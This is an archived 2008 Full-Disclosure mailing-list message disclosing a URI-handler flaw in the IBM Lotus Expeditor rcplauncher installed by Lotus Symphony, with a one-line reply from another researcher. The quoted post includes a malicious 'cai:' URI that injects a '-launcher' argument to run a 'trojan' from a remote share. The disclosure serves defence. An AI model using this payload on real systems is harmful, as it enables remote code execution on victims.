[Full-disclosure] Lotus expeditor rcplauncher uri handler vulnerability

Nate McFeters nate.mcfeters at gmail.com
Thu Apr 24 15:14:13 BST 2008


Very nice, looks a lot like some of my work in URI handler abuse.

-Nate


On 4/24/08, Thomas Pollet <thomas.pollet at gmail.com> wrote:
>
> Hello,
>
> I have found that the lotus expeditor rcplauncher as installed by lotus
> symphony and possibly other products, registers a cai: uri handler.
> This handler executes
> "D:\Program Files\IBM\Lotus\Symphony \framework\rcp\rcplauncher.exe"
> -config notes -com.ibm.rcp.portal.app.ui#openCA "%1"
> the rcplauncher process accepts various arguments which can be abused to
> execute arbitrary code.
> The argument to the -launcher option for example is an executable that will
> be executed.
>
> malicious uri example:
> cai:"%20-launcher%20\\6.6.6.6\d$\trojan
>
> Regards,
> Thomas Pollet <http://thomas.pollet.googlepages.com/>
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